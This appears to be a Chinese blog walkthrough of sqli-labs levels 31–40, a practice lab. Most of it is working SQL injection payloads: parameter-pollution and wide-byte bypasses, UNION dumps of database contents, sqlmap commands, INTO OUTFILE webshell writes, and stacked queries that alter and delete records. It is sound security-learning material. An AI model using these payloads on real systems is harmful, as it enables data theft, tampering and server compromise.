目录
Less31
Less32
Less33
Less34
Less35
Less36
Less37
Less38
Less39
Less40
这关和前两关也只是闭合不同的差别……思路还是通过HTTP参数污染绕过WAF
爆数据的payload:
#下面两步找列数
http://192.168.101.16/sqli-labs-master/Less-31/login.php?id=1&id=1") order by 3-- s
http://192.168.101.16/sqli-labs-master/Less-31/login.php?id=1&id=1") order by 4-- s
#确定哪个字段有回显
http://192.168.101.16/sqli-labs-master/Less-31/login.php?id=1&id=-1") union select 1,2,3-- s
#爆出所有数据库名称
http://192.168.101.16/sqli-labs-master/Less-31/login.php?id=1&id=-1") union select 1,2,group_concat(schema_name) from information_schema.schemata-- s
#爆出数据库pikachu的所有表名称
http://192.168.101.16/sqli-labs-master/Less-31/login.php?id=1&id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='pikachu'-- s
#爆出数据库pikachu的表message的所有列名称
http://192.168.101.16/sqli-labs-master/Less-31/login.php?id=1&id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='pikachu' and table_name='message'-- s
#爆出数据库pikachu的表message的id列、content列和time列的值
http://192.168.101.16/sqli-labs-master/Less-31/login.php?id=1&id=-1") union select 1,2,group_concat(concat(id,'~',content,'~',time)) from pikachu.message-- s
写webshell的payload:
http://192.168.101.16/sqli-labs-master/Less-31/login.php?id=1&id=-1") union select 1,2,'' into outfile 'C:/phpstudy_pro/WWW/less31.php'-- s
服务器上写入的webshell:
代码就不分析了,和前两关除了sql语句的闭合符号,其他都一样
这关正常id后面加个单引号,从页面贴心地提示发现,到了服务器之后,单引号前面多了个斜杠,也就是单引号被转义了。另外页面还善良地给出了id值的十六进制。这很容易让人联想到宽字节注入。
原理之前在这篇写过了 pikachu SQL注入 (皮卡丘漏洞平台通关系列)_箭雨镜屋-CSDN博客_pikachu sql注入 ,这里不赘述了,主要思想就是如果服务器传入数据库的数据是gbk等宽字节编码,可以在特殊字符之前增加一个十六进制字节,和转义符构成一个汉字字符,从而把转义符吃掉。
地址栏输入:http://192.168.101.16/sqli-labs-master/Less-32/?id=1%df'
发现页面和上图不同,有sql语句报错信息,看来这关确实可以用宽字节注入
爆数据的payload如下:
特别注意,本关payload中只有闭合单引号时用宽字节注入,其他涉及单引号的部分都要用字符的十六进制编码,否则会报错。
#下面两步找列数
http://192.168.101.16/sqli-labs-master/Less-32/?id=1%df' order by 3-- s
http://192.168.101.16/sqli-labs-master/Less-32/?id=1%df' order by 4-- s
#确定哪个字段有回显
http://192.168.101.16/sqli-labs-master/Less-32/?id=-1%df' union select 1,2,3-- s
#爆出所有数据库名称
http://192.168.101.16/sqli-labs-master/Less-32/?id=-1%df' union select 1,2,group_concat(schema_name) from information_schema.schemata-- s
#爆出数据库pikachu的所有表名称
http://192.168.101.16/sqli-labs-master/Less-32/?id=-1%df' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x70696B61636875-- s
#爆出数据库pikachu的表message的所有列名称
http://192.168.101.16/sqli-labs-master/Less-32/?id=-1%df' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=0x70696B61636875 and table_name=0x6D657373616765-- s
#爆出数据库pikachu的表message的id列、content列和time列的值
http://192.168.101.16/sqli-labs-master/Less-32/?id=-1%df' union select 1,2,group_concat(concat(id,0x7e,content,0x7e,time)) from pikachu.message-- s
这关试了没法用into outfile写webshell,文件名不能写成十六进制的形式
本关代码最最关键的就是下图红框框起来的部分,如果没有这行代码,就不能用宽字节绕过了。
另外本关用来过滤用户输入的函数是check_addslashes()
从下图可见,该函数通过在反斜杠,单引号,双引号前面加反斜杠对它们进行转义
这关和上一关的解法完全一样,爆数据的payload如下:
#下面两步找列数
http://192.168.101.16/sqli-labs-master/Less-33/?id=1%df' order by 3-- s
http://192.168.101.16/sqli-labs-master/Less-33/?id=1%df' order by 4-- s
#确定哪个字段有回显
http://192.168.101.16/sqli-labs-master/Less-33/?id=-1%df' union select 1,2,3-- s
#爆出所有数据库名称
http://192.168.101.16/sqli-labs-master/Less-33/?id=-1%df' union select 1,2,group_concat(schema_name) from information_schema.schemata-- s
#爆出数据库pikachu的所有表名称
http://192.168.101.16/sqli-labs-master/Less-33/?id=-1%df' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x70696B61636875-- s
#爆出数据库pikachu的表message的所有列名称
http://192.168.101.16/sqli-labs-master/Less-33/?id=-1%df' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=0x70696B61636875 and table_name=0x6D657373616765-- s
#爆出数据库pikachu的表message的id列、content列和time列的值
http://192.168.101.16/sqli-labs-master/Less-33/?id=-1%df' union select 1,2,group_concat(concat(id,0x7e,content,0x7e,time)) from pikachu.message-- s
正好上一关忘记插最后结果图了,这关来补一张
看一下这关代码,和上一关唯一的不同是把函数check_addslashes()中那一坨代码,换成了addslashes()函数,这个函数的作用是通过在预定义字符前加反斜线进行转义,预定字符包括单引号,双引号,反斜线和NULL
这关还是利用宽字节绕过,只不过参数提交方式从GET变成POST了
特别需要注意的是:
直接在网页输入框里面绕过(下面这样)没有用
用burpsuite抓包发现df前面的百分号被url编码了
可以直接在burpsuite中进行宽字节绕过,或者用firefox的hackbar更直观
爆数据的payload如下:
#下面两步找列数
uname=admin%df' order by 2-- s&passwd=1&submit=Submit
uname=admin%df' order by 3-- s&passwd=1&submit=Submit
#确定哪个字段有回显
uname=admin%df' union select 1,2-- s&passwd=1&submit=Submit
#爆出所有数据库名称
uname=admin%df' union select 1,group_concat(schema_name) from information_schema.schemata-- s&passwd=1&submit=Submit
#爆出数据库pikachu的所有表名称
uname=admin%df' union select 1,group_concat(table_name) from information_schema.tables where table_schema=0x70696B61636875-- s &passwd=1&submit=Submit
#爆出数据库pikachu的表message的所有列名称
uname=admin%df' union select 1,group_concat(column_name) from information_schema.columns where table_schema=0x70696B61636875 and table_name=0x6D657373616765-- s &passwd=1&submit=Submit
#爆出数据库pikachu的表message的id列和content列的值
uname=admin%df' union select 1,group_concat(concat(id,0x7e,content,0x7e,time)) from pikachu.message-- s&passwd=1&submit=Submit
本关代码其实没啥好说的了,和上一关差不多,只不过提交参数的方法变成POST了
这关虽然单引号也被转义了,但是由于这关的id在sql语句中是数字,不涉及闭合,所以这关比前面几关更简单,根本不需要满足宽字节注入的条件,只需要payload中字符串都写成十六进制形式就行。
爆数据的payload如下:
#下面两步找列数
http://192.168.101.16/sqli-labs-master/Less-35/?id=1 order by 3-- s
http://192.168.101.16/sqli-labs-master/Less-35/?id=1 order by 4-- s
#确定哪个字段有回显
http://192.168.101.16/sqli-labs-master/Less-35/?id=-1 union select 1,2,3-- s
#爆出所有数据库名称
http://192.168.101.16/sqli-labs-master/Less-35/?id=-1 union select 1,2,group_concat(schema_name) from information_schema.schemata-- s
#爆出数据库pikachu的所有表名称
http://192.168.101.16/sqli-labs-master/Less-35/?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x70696B61636875-- s
#爆出数据库pikachu的表message的所有列名称
http://192.168.101.16/sqli-labs-master/Less-35/?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=0x70696B61636875 and table_name=0x6D657373616765-- s
#爆出数据库pikachu的表message的id列和content列的值
http://192.168.101.16/sqli-labs-master/Less-35/?id=-1 union select 1,2,group_concat(concat(id,0x7e,content,0x7e,time)) from pikachu.message-- s
最终结果:
代码和33关只是sql语句有区别,本关没有闭合符号,其他都一样。
醉了,这关和Less33不能说毫无关系,只能说一模一样……思路仍然是宽字节注入绕过闭合符的转义,其他字符串写成十六进制形式
直接上跨库爆数据的payload吧:
#下面两步找列数
http://192.168.101.16/sqli-labs-master/Less-36/?id=1%df' order by 3-- s
http://192.168.101.16/sqli-labs-master/Less-36/?id=1%df' order by 4-- s
#确定哪个字段有回显
http://192.168.101.16/sqli-labs-master/Less-36/?id=-1%df' union select 1,2,3-- s
#爆出所有数据库名称
http://192.168.101.16/sqli-labs-master/Less-36/?id=-1%df' union select 1,2,group_concat(schema_name) from information_schema.schemata-- s
#爆出数据库pikachu的所有表名称
http://192.168.101.16/sqli-labs-master/Less-36/?id=-1%df' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x70696B61636875-- s
#爆出数据库pikachu的表message的所有列名称
http://192.168.101.16/sqli-labs-master/Less-36/?id=-1%df' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=0x70696B61636875 and table_name=0x6D657373616765-- s
#爆出数据库pikachu的表message的id列、content列和time列的值
http://192.168.101.16/sqli-labs-master/Less-36/?id=-1%df' union select 1,2,group_concat(concat(id,0x7e,content,0x7e,time)) from pikachu.message-- s
爆数据结果:
虽然绕过方式都是宽字节注入+字符串的十六进制形式,但代码和Less33有点区别。
这关用mysql_real_escape_string() 函数处理用户输入,这个函数也是用来转义 SQL 语句中使用的字符串中的特殊字符的,特殊字符包括\x00,\n,\r,\,',"以及\x1a
看标题我就觉得这关和Less34应该是一个套路,果然……
这关如果手工注入,直接用Less34的payload就可以,为了避免无聊的重复,这关我决定用一下sqlmap。
宽字节绕过用sqlmap来注入,需要用到名为unmagicquotes.py的tamper脚本(--tamper unmagicquotes.py)。跨库爆数据的具体payload如下:
python sqlmap.py -r "E:\渗透测试学习资料\sqlilab\LESS37.txt" --tamper unmagicquotes.py -dbs
python sqlmap.py -r "E:\渗透测试学习资料\sqlilab\LESS37.txt" --tamper unmagicquotes.py --tables -D pikachu
python sqlmap.py -r "E:\渗透测试学习资料\sqlilab\LESS37.txt" --tamper unmagicquotes.py --columns -D pikachu -T message
python sqlmap.py -r "E:\渗透测试学习资料\sqlilab\LESS37.txt" --tamper unmagicquotes.py --dump -D pikachu -T message -C id,time,content
结果:
本关代码也没啥可说的,和上一关一样,都是用mysql_real_escape_string() 函数处理用户输入。
本关虽然也能用union注入,不过union注入能办成的事儿还是有局限,既然本关标题是堆叠注入,那就试试堆叠注入吧~
堆叠注入可以随便玩了,只要是sql语句能做到的,想干嘛都行(记得还是要通过报错找闭合的)。
比如创建数据库:
http://192.168.101.16/sqli-labs-master/Less-38/?id=-1';create database xiannv-- s
创建表:
http://192.168.101.16/sqli-labs-master/Less-38/?id=-1';use xiannv;create table xiang(id int,user varchar(10))-- s
创建数据:
http://192.168.101.16/sqli-labs-master/Less-38/?id=-1';insert into xiannv.xiang values(1,'test1')-- s
上面三步的结果:
从服务器上的navicat可以看到,产生了一个新数据库xiannv,该数据库中有一个表xiang,该表有两列id和user,有一条记录,id值为1,user值为test1
执行删除操作也可以,这里不多说了,和直接连接数据库用的是同样的语句。
本关写webshell可以用union注入,也可以用堆叠注入,如果用堆叠注入的话,payload如下:
http://192.168.101.16/sqli-labs-master/Less-38/?id=-1';select '' into outfile 'C:/phpstudy_pro/WWW/less38.php'-- s
服务器上被写入的webshell:
本关select相关的操作还是需要用union注入,因为本关只显示第一条sql语句的查询结果,不显示后面的。
本关之所以能使用堆叠注入,是因为代码中使用了mysqli_multi_query()函数,该函数可以执行多个针对数据库的查询。
本关所有堆叠注入的结果是无法显示在页面上的,如果想从页面看出来是否堆叠成功,可以把69行的注释去掉,这样,执行超过一条sql语句时(无论分号之后的语句执行成功还是失败),页面会回显---------------------,不过通过这个并不能看出来堆叠的语句是否执行成功。
这关又是堆叠注入,那就干点新事儿吧……
这关没有闭合,想把上一关xiannv数据库xiang表的那条记录的user改成xiaokui的话,浏览器地址栏这么写:
http://192.168.101.16/sqli-labs-master/Less-39/?id=1;update xiannv.xiang set user='xiaokui' where id=1-- s
服务器上查看结果:
这关代码不说了,和上一关差不多,只是上一关单引号闭合变量,这关无闭合。
先用布尔盲注的方式找到本关的闭合,然后就可以直接堆叠注入啦
找闭合:
http://192.168.101.16/sqli-labs-master/Less-40/?id=1 有查询结果
http://192.168.101.16/sqli-labs-master/Less-40/?id=1" 有查询结果
http://192.168.101.16/sqli-labs-master/Less-40/?id=1' 无查询结果
http://192.168.101.16/sqli-labs-master/Less-40/?id=1'-- s 无查询结果
http://192.168.101.16/sqli-labs-master/Less-40/?id=1')-- s 有查询结果
找到闭合为')
这关用堆叠注入把之前创建的xiannv数据库xiang表中的唯一一条记录删掉:
http://192.168.101.16/sqli-labs-master/Less-40/?id=1');delete from xiannv.xiang where user='xiaokui'-- s
在服务器上可以看到该记录已经被删除:
本关代码好像也没啥好说的,不说了……
做完堆叠的三关,稍微有点感悟:堆叠注入可能不一定能一下子看出来(比如不显示第一条之后的语句的查询结果),如果不是明确知道能堆叠注入,或许可以尝试写入一些东西,再通过一些方法(比如select能不能读到写入的东西)来判断。